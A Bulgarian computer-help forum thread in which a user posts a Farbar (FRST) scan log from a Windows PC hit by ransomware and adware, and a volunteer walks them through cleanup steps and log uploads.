2016-02-06 15:29 - 2016-02-16 10:39 - 00000000 ____D C:\Users\ASIA\Desktop\снимки керамични на починали
2016-02-06 15:29 - 2016-02-16 10:39 - 00000000 ____D C:\Users\ASIA\Desktop\Tajen pomrn
2016-02-06 15:29 - 2016-02-16 10:39 - 00000000 ____D C:\Users\ASIA\Desktop\Skrabna vest
2016-02-06 15:29 - 2016-02-16 10:39 - 00000000 ____D C:\Users\ASIA\Desktop\ASYA нова
2016-02-06 14:41 - 2016-02-06 14:41 - 00002739 _____ C:\Users\ASIA\Desktop\Microsoft Office Word 2007.lnk
2016-02-06 14:41 - 2016-02-06 14:41 - 00002693 _____ C:\Users\ASIA\Desktop\Microsoft Office Excel 2007.lnk
2016-02-06 14:41 - 2016-02-06 14:41 - 00002673 _____ C:\Users\ASIA\Desktop\Microsoft Office PowerPoint 2007.lnk
2016-02-06 14:38 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\ATI
2016-02-06 14:38 - 2016-02-16 10:36 - 00000000 ____D C:\Users\ASIA\AppData\Local\ATI
2016-02-06 14:38 - 2016-02-16 10:36 - 00000000 ____D C:\Users\ASIA\AppData\Local\AMD
2016-02-06 14:38 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\ATI
2016-02-06 14:38 - 2016-02-06 14:38 - 00000000 ____D C:\Program Files\AMD AVT
2016-02-06 14:38 - 2016-02-06 14:38 - 00000000 ____D C:\Program Files\AMD APP
2016-02-06 14:37 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AMD VISION Engine Control Center
2016-02-06 14:37 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\AMD
2016-02-06 14:37 - 2016-02-06 14:37 - 00000000 ____D C:\Program Files\Common Files\ATI Technologies
2016-02-06 14:37 - 2010-02-18 09:18 - 00037944 _____ (Advanced Micro Devices) C:\Windows\system32\Drivers\amdiox86.sys
2016-02-06 14:36 - 2016-02-06 14:37 - 00000000 ____D C:\Program Files\ATI Technologies
2016-02-06 14:36 - 2016-02-06 14:36 - 00000000 ____D C:\Program Files\ATI
2016-02-06 14:35 - 2016-02-16 10:35 - 00000000 ____D C:\AMD
2016-02-06 14:33 - 2016-02-16 10:39 - 00000000 ____D C:\Users\ASIA\Tracing
2016-02-06 14:33 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\Skype
2016-02-06 14:33 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype
2016-02-06 14:32 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\Macromedia
2016-02-06 14:32 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Skype
2016-02-06 14:32 - 2016-02-06 14:32 - 00002685 _____ C:\Users\Public\Desktop\Skype.lnk
2016-02-06 14:32 - 2016-02-06 14:32 - 00000000 ___RD C:\Program Files\Skype
2016-02-06 14:32 - 2016-02-06 14:32 - 00000000 ____D C:\Program Files\Common Files\Skype
2016-02-06 14:30 - 2016-02-06 14:30 - 00796864 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerApp.exe
2016-02-06 14:30 - 2016-02-06 14:30 - 00142528 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerCPLApp.cpl
2016-02-06 14:30 - 2016-02-06 14:30 - 00000000 ____D C:\Windows\system32\Macromed
2016-02-06 14:29 - 2016-02-16 10:36 - 00000000 ____D C:\Users\ASIA\AppData\Local\Adobe
2016-02-06 14:27 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\vlc
2016-02-06 14:27 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN
2016-02-06 14:27 - 2016-02-09 23:10 - 00001379 _____ C:\Users\ASIA\Desktop\Internet Explorer.lnk
2016-02-06 14:27 - 2016-02-06 14:27 - 00000000 ____D C:\Program Files\VideoLAN
2016-02-06 14:22 - 2016-02-06 14:22 - 00002596 _____ C:\Users\ASIA\Desktop\µTorrent.lnk
2016-02-06 14:22 - 2016-02-06 14:22 - 00002596 _____ C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\µTorrent.lnk
2016-02-06 14:21 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\uTorrent
2016-02-06 14:17 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office
2016-02-06 14:16 - 2016-02-06 16:55 - 00000000 ____D C:\Program Files\Common Files\DESIGNER
2016-02-06 14:16 - 2016-02-06 14:16 - 00000000 ____D C:\Windows\PCHEALTH
2016-02-06 14:14 - 2016-02-16 10:37 - 00000000 ____D C:\Users\ASIA\AppData\Local\Microsoft Help
2016-02-06 14:14 - 2016-02-16 10:36 - 00000000 __RHD C:\MSOCache
2016-02-06 14:14 - 2016-02-06 14:16 - 00000000 ____D C:\Program Files\Microsoft Office
2016-02-06 14:08 - 2016-02-16 11:29 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\Winamp
2016-02-06 14:08 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Winamp
2016-02-06 14:08 - 2016-02-06 14:09 - 00000000 ____D C:\Program Files\Winamp
2016-02-06 14:08 - 2016-02-06 14:08 - 00000000 ____D C:\Program Files\Common Files\PX Storage Engine
2016-02-06 14:08 - 2009-09-04 17:29 - 01892184 _____ (Microsoft Corporation) C:\Windows\system32\D3DX9_42.dll
2016-02-06 14:08 - 2006-09-28 16:05 - 02414360 _____ (Microsoft Corporation) C:\Windows\system32\d3dx9_31.dll
2016-02-06 14:06 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\DAEMON Tools Lite
2016-02-06 14:06 - 2016-02-06 14:06 - 00001896 _____ C:\Users\Public\Desktop\DAEMON Tools Lite.lnk
2016-02-06 14:05 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\DAEMON Tools Lite
2016-02-06 14:05 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\DAEMON Tools Lite
2016-02-06 14:05 - 2016-02-06 14:05 - 00242240 _____ (DT Soft Ltd) C:\Windows\system32\Drivers\dtsoftbus01.sys
2016-02-06 14:05 - 2016-02-06 14:05 - 00000000 ____D C:\Program Files\DAEMON Tools Lite
2016-02-06 14:04 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\avast! Antivirus
2016-02-06 14:04 - 2009-08-17 19:10 - 01279456 _____ (ALWIL Software) C:\Windows\system32\aswBoot.exe
2016-02-06 14:04 - 2009-08-17 19:05 - 00114768 _____ (ALWIL Software) C:\Windows\system32\Drivers\aswSP.sys
2016-02-06 14:04 - 2009-08-17 19:05 - 00053328 _____ (ALWIL Software) C:\Windows\system32\Drivers\aswMonFlt.sys
2016-02-06 14:04 - 2009-08-17 19:05 - 00020560 _____ (ALWIL Software) C:\Windows\system32\Drivers\aswFsBlk.sys
2016-02-06 14:04 - 2009-08-17 19:04 - 00051376 _____ (ALWIL Software) C:\Windows\system32\Drivers\aswTdi.sys
2016-02-06 14:04 - 2009-08-17 19:04 - 00023152 _____ (ALWIL Software) C:\Windows\system32\Drivers\aswRdr.sys
2016-02-06 14:04 - 2009-08-17 19:02 - 00097480 _____ (ALWIL Software) C:\Windows\system32\AvastSS.scr
2016-02-06 14:04 - 2004-01-09 12:13 - 00380928 _____ () C:\Windows\system32\actskin4.ocx
2016-02-06 14:04 - 2003-03-18 23:20 - 01060864 _____ (Microsoft Corporation) C:\Windows\system32\MFC71.dll
2016-02-06 14:03 - 2016-02-06 14:03 - 00000000 ____D C:\Program Files\Alwil Software
2016-02-06 14:02 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\Ashampoo
2016-02-06 14:01 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Ashampoo
2016-02-06 14:01 - 2016-02-16 10:36 - 00000000 ____D C:\Users\ASIA\AppData\Local\ashampoo
2016-02-06 14:01 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Ashampoo
2016-02-06 14:01 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Ashampoo
2016-02-06 14:01 - 2016-02-06 14:01 - 00001257 _____ C:\Users\Public\Desktop\Ashampoo Burning Studio 12.lnk
2016-02-06 14:01 - 2016-02-06 14:01 - 00000000 ____D C:\Program Files\Ashampoo
2016-02-06 13:58 - 2016-02-11 08:04 - 00002168 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2016-02-06 13:58 - 2016-02-11 08:04 - 00002139 _____ C:\Users\Public\Desktop\Google Chrome.lnk
2016-02-06 13:57 - 2016-02-16 12:02 - 00000982 _____ C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job
2016-02-06 13:57 - 2016-02-16 11:29 - 00000978 _____ C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job
2016-02-06 13:57 - 2016-02-16 10:37 - 00000000 ____D C:\Users\ASIA\AppData\Local\Google
2016-02-06 13:57 - 2016-02-06 13:58 - 00000000 ____D C:\Program Files\Google
2016-02-06 13:56 - 2016-02-16 10:36 - 00000000 ____D C:\Users\ASIA\AppData\Local\Deployment
2016-02-06 13:56 - 2016-02-16 10:36 - 00000000 ____D C:\Users\ASIA\AppData\Local\Apps\2.0
2016-02-06 13:56 - 2016-02-07 14:45 - 00078000 _____ C:\Users\ASIA\AppData\Local\GDIPFONTCACHEV1.DAT
2016-02-06 13:55 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\Win7codecs
2016-02-06 13:55 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Shark007 Codecs
2016-02-06 13:55 - 2016-02-06 13:55 - 00000000 ____D C:\Program Files\Win7codecs
2016-02-06 13:54 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR
2016-02-06 13:54 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Win7codecs
2016-02-06 13:54 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\WinRAR
2016-02-06 13:54 - 2016-02-06 13:54 - 00000000 ____D C:\Program Files\WinRar
2016-02-06 13:52 - 2016-02-06 13:52 - 00320466 __RSH C:\JXYHM
2016-02-06 13:50 - 2016-02-06 13:50 - 00000000 ____H C:\Windows\system32\Drivers\Msft_User_WpdFs_01_09_00.Wdf
2016-02-06 13:04 - 2016-02-16 11:28 - 00000000 ____D C:\Users\ASIA
2016-02-06 13:04 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\Media Center Programs
2016-02-06 13:04 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\Adobe
2016-02-06 13:04 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Local\VirtualStore
2016-02-06 13:04 - 2016-02-09 23:10 - 00001409 _____ C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2016-02-06 13:04 - 2016-02-06 13:04 - 00000020 ___SH C:\Users\ASIA\ntuser.ini
2016-02-06 13:03 - 2013-04-01 19:48 - 70490256 _____ (Microsoft Corporation) C:\Windows\system32\MRT.exe
2016-02-06 13:03 - 2013-03-12 01:10 - 00237088 ____N (Microsoft Corporation) C:\Windows\system32\MpSigStub.exe
2016-02-06 12:55 - 2011-04-09 07:56 - 00123904 _____ (Microsoft Corporation) C:\Windows\system32\poqexec.exe
2016-02-06 12:35 - 2016-02-06 12:35 - 00001345 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Media Center.lnk
2016-02-06 12:35 - 2016-02-06 12:35 - 00001326 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows DVD Maker.lnk
2016-02-06 12:34 - 2016-02-06 12:34 - 00000000 _____ C:\Windows\ativpsrm.bin
2016-02-06 12:29 - 2016-02-06 13:04 - 00000000 ____D C:\Windows\Panther
2016-02-06 12:29 - 2010-11-20 23:29 - 00383786 __RSH C:\bootmgr

==================== One Month Modified files and folders ========

(If an entry is included in the fixlist, the file/folder will be moved.)

2016-02-16 11:36 - 2009-07-14 06:34 - 00021248 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2016-02-16 11:36 - 2009-07-14 06:34 - 00021248 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2016-02-16 11:33 - 2010-11-20 23:01 - 00781298 _____ C:\Windows\system32\PerfStringBackup.INI
2016-02-16 11:33 - 2009-07-14 04:37 - 00000000 ____D C:\Windows\inf
2016-02-16 11:28 - 2009-07-14 06:53 - 00000006 ____H C:\Windows\Tasks\SA.DAT
2016-02-16 10:39 - 2011-04-12 03:36 - 00000000 ___RD C:\Users\Public\Recorded TV
2016-02-16 10:39 - 2011-04-12 03:36 - 00000000 ____D C:\Users\Default\AppData\Roaming\Media Center Programs
2016-02-16 10:39 - 2011-04-12 03:36 - 00000000 ____D C:\Users\Default User\AppData\Roaming\Media Center Programs
2016-02-16 10:39 - 2009-07-14 04:37 - 00000000 __RHD C:\Users\Public\Libraries
2016-02-16 10:36 - 2009-07-14 06:52 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Games
2016-02-16 10:36 - 2009-07-14 04:37 - 00000000 ____D C:\PerfLogs
2016-02-16 10:30 - 2009-07-14 04:37 - 00000000 ____D C:\Windows\system32\NDF
2016-02-12 11:52 - 2009-07-14 04:37 - 00000000 ____D C:\Windows\rescache
2016-02-08 09:22 - 2009-07-14 06:53 - 00008138 _____ C:\Windows\Tasks\SCHEDLGU.TXT
2016-02-08 07:57 - 2009-07-14 06:33 - 00349416 _____ C:\Windows\system32\FNTCACHE.DAT
2016-02-06 17:31 - 2011-04-12 03:37 - 00000000 ____D C:\Windows\ShellNew
2016-02-06 16:55 - 2009-07-14 04:37 - 00000000 ____D C:\Program Files\Common Files\microsoft shared
2016-02-06 16:50 - 2009-07-14 04:37 - 00000000 __RSD C:\Windows\Media
2016-02-06 15:43 - 2009-07-14 06:52 - 00000000 ____D C:\Windows\Downloaded Program Files
2016-02-06 14:04 - 2009-07-14 04:04 - 00002577 _____ C:\Windows\system32\config.nt
2016-02-06 13:04 - 2009-07-14 06:34 - 00000000 ____D C:\Windows\Setup
2016-02-06 12:34 - 2009-07-14 04:37 - 00000000 ____D C:\Windows\system32\sysprep
2016-02-06 12:31 - 2011-04-12 03:37 - 00000000 ____D C:\Windows\CSC
2016-02-06 12:29 - 2009-07-14 06:52 - 00028672 _____ C:\Windows\system32\config\BCD-Template

==================== Files in the root of some directories =======

2016-01-13 23:48 - 2016-01-13 23:48 - 0001224 _____ () C:\Users\ASIA\AppData\Roaming\Adelaide
2016-02-13 00:15 - 2016-02-13 00:15 - 0049152 _____ () C:\Users\ASIA\AppData\Roaming\baste.dll
2016-02-13 05:01 - 2016-02-13 05:01 - 0057856 _____ () C:\Users\ASIA\AppData\Roaming\cakes.dll
2016-02-13 19:30 - 2016-02-13 19:30 - 0049730 _____ () C:\Users\ASIA\AppData\Roaming\callout.unicode.start.character.xml
2013-10-02 04:59 - 2013-10-02 04:59 - 0000186 _____ () C:\Users\ASIA\AppData\Roaming\commons-io.NOTICE.txt
2013-10-02 04:59 - 2016-02-16 10:38 - 0000560 _____ () C:\Users\ASIA\AppData\Roaming\commons-io.NOTICE.txt.mp3
2016-02-13 08:11 - 2016-02-13 08:11 - 0131312 _____ () C:\Users\ASIA\AppData\Roaming\Compressibility.mm
2016-02-08 10:47 - 2016-02-08 10:47 - 0057344 _____ () C:\Users\ASIA\AppData\Roaming\doltishness.dll
2015-05-20 03:28 - 2016-02-16 10:38 - 0005376 _____ () C:\Users\ASIA\AppData\Roaming\dsc_drivers_tile.png.mp3
2014-05-08 07:44 - 2014-05-08 07:44 - 0001442 _____ () C:\Users\ASIA\AppData\Roaming\f17.png
2014-05-08 07:44 - 2016-02-16 10:38 - 0001824 _____ () C:\Users\ASIA\AppData\Roaming\f17.png.mp3
2014-05-08 07:44 - 2014-05-08 07:44 - 0001783 _____ () C:\Users\ASIA\AppData\Roaming\f30.png
2014-05-08 07:44 - 2016-02-16 10:38 - 0002160 _____ () C:\Users\ASIA\AppData\Roaming\f30.png.mp3
2016-02-11 22:30 - 2016-02-11 22:30 - 0049779 _____ () C:\Users\ASIA\AppData\Roaming\g1_1024 x 768 px 72 ppi.IMZ
2014-05-08 06:05 - 2014-05-08 06:05 - 0000518 _____ () C:\Users\ASIA\AppData\Roaming\goURL_lr_photoshop_it.csv
2016-02-13 08:11 - 2016-02-13 08:11 - 0001861 _____ () C:\Users\ASIA\AppData\Roaming\HarebellJuiceCompanionship
2013-10-02 04:56 - 2013-10-02 04:56 - 0000896 _____ () C:\Users\ASIA\AppData\Roaming\htmlhelp.hhp.xml
2013-10-02 04:55 - 2013-10-02 04:55 - 0002721 _____ () C:\Users\ASIA\AppData\Roaming\isocyr2.ent
2014-05-08 07:44 - 2014-05-08 07:44 - 0003213 _____ () C:\Users\ASIA\AppData\Roaming\KSC-Johab-V
2013-10-02 04:54 - 2013-10-02 04:54 - 0001500 _____ () C:\Users\ASIA\AppData\Roaming\Louisville
2013-10-02 04:56 - 2013-10-02 04:56 - 0001571 _____ () C:\Users\ASIA\AppData\Roaming\man.output.subdirs.enabled.xml
2016-02-13 19:30 - 2016-02-13 19:30 - 0001339 _____ () C:\Users\ASIA\AppData\Roaming\MiloFrostbiteOphthalmometry
2014-05-08 07:44 - 2014-05-08 07:44 - 0001594 _____ () C:\Users\ASIA\AppData\Roaming\note_en.txt
2013-10-02 04:56 - 2013-10-02 04:56 - 0001173 _____ () C:\Users\ASIA\AppData\Roaming\olink.debug.xml
2016-02-16 10:39 - 2016-02-16 10:39 - 0007026 _____ () C:\Users\ASIA\AppData\Roaming\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 0067759 _____ () C:\Users\ASIA\AppData\Roaming\RECOVER+abcku.PNG
2016-02-16 10:39 - 2016-02-16 10:39 - 0002113 _____ () C:\Users\ASIA\AppData\Roaming\RECOVER+abcku.TXT
2016-02-13 08:07 - 2016-02-13 08:07 - 0007026 _____ () C:\Users\ASIA\AppData\Roaming\RECOVER+dcsso.HTM
2016-02-13 08:07 - 2016-02-13 08:07 - 0067759 _____ () C:\Users\ASIA\AppData\Roaming\RECOVER+dcsso.PNG
2016-02-13 08:07 - 2016-02-13 08:07 - 0002113 _____ () C:\Users\ASIA\AppData\Roaming\RECOVER+dcsso.TXT
2013-10-02 04:55 - 2013-10-02 04:55 - 0002138 _____ () C:\Users\ASIA\AppData\Roaming\rtables.xsd
2016-02-11 22:30 - 2016-02-11 22:30 - 0002043 _____ () C:\Users\ASIA\AppData\Roaming\SpittlebugRetreat
2013-10-02 04:56 - 2013-10-02 04:56 - 0001811 _____ () C:\Users\ASIA\AppData\Roaming\table.footnote.number.symbols.xml
2009-06-10 23:06 - 2009-06-10 23:06 - 0003143 _____ () C:\Users\ASIA\AppData\Roaming\Title_select-highlight.png
2009-06-10 23:06 - 2016-02-16 10:38 - 0003520 _____ () C:\Users\ASIA\AppData\Roaming\Title_select-highlight.png.mp3
2013-10-02 04:56 - 2013-10-02 04:56 - 0001008 _____ () C:\Users\ASIA\AppData\Roaming\toc.blank.text.xml
2015-05-20 03:14 - 2015-05-20 03:14 - 0001720 _____ () C:\Users\ASIA\AppData\Roaming\tweakNetworkingManual_pt-pt.p5p
2014-05-08 07:44 - 2014-05-08 07:44 - 0003288 _____ () C:\Users\ASIA\AppData\Roaming\UniGB-UTF8-V
2013-10-02 04:56 - 2013-10-02 04:56 - 0001516 _____ () C:\Users\ASIA\AppData\Roaming\xep.index.item.properties.xml
2016-02-16 10:38 - 2016-02-16 10:38 - 0007026 _____ () C:\Users\ASIA\AppData\Roaming\Microsoft\RECOVER+abcku.HTM
2016-02-16 10:38 - 2016-02-16 10:38 - 0067759 _____ () C:\Users\ASIA\AppData\Roaming\Microsoft\RECOVER+abcku.PNG
2016-02-16 10:38 - 2016-02-16 10:38 - 0002113 _____ () C:\Users\ASIA\AppData\Roaming\Microsoft\RECOVER+abcku.TXT
2016-02-13 08:06 - 2016-02-13 08:06 - 0007026 _____ () C:\Users\ASIA\AppData\Roaming\Microsoft\RECOVER+dcsso.HTM
2016-02-13 08:06 - 2016-02-13 08:06 - 0067759 _____ () C:\Users\ASIA\AppData\Roaming\Microsoft\RECOVER+dcsso.PNG
2016-02-13 08:06 - 2016-02-13 08:06 - 0002113 _____ () C:\Users\ASIA\AppData\Roaming\Microsoft\RECOVER+dcsso.TXT
2016-02-06 17:21 - 2016-02-06 17:21 - 0041472 _____ () C:\Users\ASIA\AppData\Local\Daltron.dat
2016-02-06 17:21 - 2016-02-06 17:21 - 0028160 _____ () C:\Users\ASIA\AppData\Local\Daltron.exe
2016-02-06 17:21 - 2016-02-06 17:21 - 0000187 _____ () C:\Users\ASIA\AppData\Local\Daltron.exe.config
2016-02-16 10:38 - 2016-02-16 10:38 - 0007026 _____ () C:\Users\ASIA\AppData\Local\RECOVER+abcku.HTM
2016-02-16 10:38 - 2016-02-16 10:38 - 0067759 _____ () C:\Users\ASIA\AppData\Local\RECOVER+abcku.PNG
2016-02-16 10:38 - 2016-02-16 10:38 - 0002113 _____ () C:\Users\ASIA\AppData\Local\RECOVER+abcku.TXT
2016-02-13 08:06 - 2016-02-13 08:06 - 0007026 _____ () C:\Users\ASIA\AppData\Local\RECOVER+dcsso.HTM
2016-02-13 08:06 - 2016-02-13 08:06 - 0067759 _____ () C:\Users\ASIA\AppData\Local\RECOVER+dcsso.PNG
2016-02-13 08:06 - 2016-02-13 08:06 - 0002113 _____ () C:\Users\ASIA\AppData\Local\RECOVER+dcsso.TXT
2016-02-07 08:20 - 2016-02-07 08:20 - 0007599 _____ () C:\Users\ASIA\AppData\Local\Resmon.ResmonCfg
2010-11-20 23:29 - 2010-11-20 23:29 - 0086016 ___SH () C:\ProgramData\msaxjrs.exe
2010-11-20 23:29 - 2010-11-20 23:29 - 0105472 ___SH () C:\ProgramData\mseujcmn.exe
2010-11-20 23:29 - 2010-11-20 23:29 - 0105472 ___SH () C:\ProgramData\msolvrrq.exe
2010-11-20 23:29 - 2010-11-20 23:29 - 0086016 ___SH () C:\ProgramData\msqiz.exe
2010-11-20 23:29 - 2010-11-20 23:29 - 0086016 ___SH () C:\ProgramData\mszupemgj.exe
2016-02-16 10:36 - 2016-02-16 10:36 - 0007026 _____ () C:\ProgramData\RECOVER+abcku.HTM
2016-02-16 10:36 - 2016-02-16 10:36 - 0067759 _____ () C:\ProgramData\RECOVER+abcku.PNG
2016-02-16 10:36 - 2016-02-16 10:36 - 0002113 _____ () C:\ProgramData\RECOVER+abcku.TXT
2016-02-13 08:03 - 2016-02-13 08:03 - 0007026 _____ () C:\ProgramData\RECOVER+dcsso.HTM
2016-02-13 08:03 - 2016-02-13 08:03 - 0067759 _____ () C:\ProgramData\RECOVER+dcsso.PNG
2016-02-13 08:03 - 2016-02-13 08:03 - 0002113 _____ () C:\ProgramData\RECOVER+dcsso.TXT
2016-02-16 10:33 - 2016-02-16 10:33 - 0007026 _____ () C:\ProgramData\RECOVER+stxwl.HTM
2016-02-16 10:33 - 2016-02-16 10:33 - 0067759 _____ () C:\ProgramData\RECOVER+stxwl.PNG
2016-02-16 10:33 - 2016-02-16 10:33 - 0002113 _____ () C:\ProgramData\RECOVER+stxwl.TXT

Files to move or delete:
====================
C:\ProgramData\msaxjrs.exe
C:\ProgramData\mseujcmn.exe
C:\ProgramData\msolvrrq.exe
C:\ProgramData\msqiz.exe
C:\ProgramData\mszupemgj.exe


Some files in TEMP:
====================
C:\Users\ASIA\AppData\Local\Temp\gtapi_signed.dll
C:\Users\ASIA\AppData\Local\Temp\KB00090854.exe
C:\Users\ASIA\AppData\Local\Temp\KB00092929.exe
C:\Users\ASIA\AppData\Local\Temp\KB00093132.exe
C:\Users\ASIA\AppData\Local\Temp\KB00093709.exe
C:\Users\ASIA\AppData\Local\Temp\KB00094115.exe
C:\Users\ASIA\AppData\Local\Temp\KB17839369.exe
C:\Users\ASIA\AppData\Local\Temp\KB17839494.exe
C:\Users\ASIA\AppData\Local\Temp\KB17840227.exe
C:\Users\ASIA\AppData\Local\Temp\KB17840477.exe
C:\Users\ASIA\AppData\Local\Temp\KB17840508.exe
C:\Users\ASIA\AppData\Local\Temp\KB17840617.exe
C:\Users\ASIA\AppData\Local\Temp\KB17841522.exe
C:\Users\ASIA\AppData\Local\Temp\KB57912329.exe
C:\Users\ASIA\AppData\Local\Temp\KB57912672.exe
C:\Users\ASIA\AppData\Local\Temp\KB57912890.exe
C:\Users\ASIA\AppData\Local\Temp\KB57912937.exe
C:\Users\ASIA\AppData\Local\Temp\nsbC468.exe
C:\Users\ASIA\AppData\Local\Temp\ose00000.exe
C:\Users\ASIA\AppData\Local\Temp\Sanflex.exe


==================== Bamital & volsnap =================

(There is no automatic fix for files that do not pass verification.)

C:\Windows\explorer.exe => File is digitally signed
C:\Windows\system32\winlogon.exe => File is digitally signed
C:\Windows\system32\wininit.exe => File is digitally signed
C:\Windows\system32\svchost.exe => File is digitally signed
C:\Windows\system32\services.exe => File is digitally signed
C:\Windows\system32\User32.dll => File is digitally signed
C:\Windows\system32\userinit.exe => File is digitally signed
C:\Windows\system32\rpcss.dll => File is digitally signed
C:\Windows\system32\dnsapi.dll => File is digitally signed
C:\Windows\system32\Drivers\volsnap.sys => File is digitally signed


LastRegBack: 2016-02-12 11:44

==================== End of FRST.txt ============================

Addition.txt

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

Доста зле е положението. Вирусите можем да опитаме да изчистим, но ако има криптирани файлове едва ли ще можем да ги възстановим.

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

Изтеглете edit-text.giffixlist.txt и го запазете на десктопа.
Стартирайте FRST.exe и натиснете бутона Fix веднъж!
След като приключи, ако ви поиска рестарт - съгласете се. След рестарта публикувайте лог файла - fixlog.txt, който ще се създаде след работата на програмата.
 
Внимание: Скрипта е създаден за текущата система. Да не се ползва за други системи с подобни проблеми!

След това пишете как е положението!

Поздрави!

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

Защото първия път заби, стоя 5 минути, без никакво раздвижване и втория път беше ок. Файловете са същите "Recover+abcku" ще приложа една снимка да е по ясно всичко. И снимките не се отварят. Снимките не са толкова важни, имам ги на резервен носител.Просто системата да се изчисти ако е възможно.

Без име.jpg

as.jpg

Редактирано от m_power94
Допълнение (преглед на промените)

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

Има разлика, защото това са файлове на дял D:\

Ние почистихме тези в системния дял...Довечера ще напиша скрипт и за тях, защото се налага да излизам по работа.

Колкото до втората ви снимка... или са сменени файловите асоциации или файловете са криптирани. Ако е второто то, това е загубена кауза най-вероятно.

Изтеглете следния файл => jpg и кликнете върху него с десен бутон на мишката и изберете Merge. Изберете YES на диалоговия прозорец.

Рестартирайте системата и вижте дали се отварят вече.

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

Те бяха направени да се отварят с уинамп, и като отворех снимка се отваряше уинамп , целия мига и пише името на снимката.

Нищо не се промени след това което направих, но няма проблем тях ще ги копирам от резервния носител.

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

Мда, явно са криптирани, защото дори Windows Media Player може да отваря и снимки.

За съжаление, не помня да съм срещал този вариант на криптора и не знам дали декриптиране е възможно.

Колкото до почистването на дял D:\ ще ми трябва малко информация преди да пусна скрипта в действие.

Отворете Start => в полето за търсене въведете CMD.exe => кликнете с десен бутон върху файла и изберете Run as administrator

С десен бутон copy копирайте командата => Dir "D:\">>"%userprofile%\Desktop\files.txt" /s /a:i /o:gd

И я поставете с десен бутон Paste в CMD и натиснете Enter.

Качете лог файла files.txt, който ще се създаде на десктопа на http://dox.abv.bg/files/share

и ми пратете линка по Лично Съобщение, ако съдържа чувствителна информация. Просто трябва да видя, какви разширения трябва да включа за изтриване на скрипта за да автоматизираме процеса.

Също така направете и нова проверка с FRST като сложите отметка пред Addition.txt преди да натиснете бутона SCAN и прикачете новите два лог файла - FRST.txt и Addition.txt.

Пишете и как е положението след изпълнението на скрипта. Би трябвало да има подобрение, защото премахнахме доста зарази (адуер, троянски коне и прочие боклуци).

Поздрави!

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

Когато пиша командата във  "cmd" ми казва," File not found"

Иначе се показа някакъв файл с име "files" и го прикачвам и него.

Междувременно замених информацията която имах на резервния носител.

 

А системата е много по добре, след рестарт не се отварят вече всички програми, и си работи нормално.

П.П. Нещо стана отново, нещо се опитва да ми сменява темата на уиндоуса и екрана премигва и пак си остава старата тема. 

има процес svchost.exe, който товари процесора, и рампаметта на 100% 

FRST.txt

Fixlog.txt

files.txt

Редактирано от m_power94
допълнение (преглед на промените)

Сподели този отговор


Линк към този отговор
Сподели в други сайтове

Интересно, да не сте форматирали дял D:\? Ако не, надявам се сте копирали командата, а не сте я въвеждали ръчно, защото поне при мен работи?

Качили сте погрешка отново fixlog.txt вместо новия Addition.txt файл. Моля прикачете правилния лог файл.

Иначе лог файла от FRST вече изглежда наред.
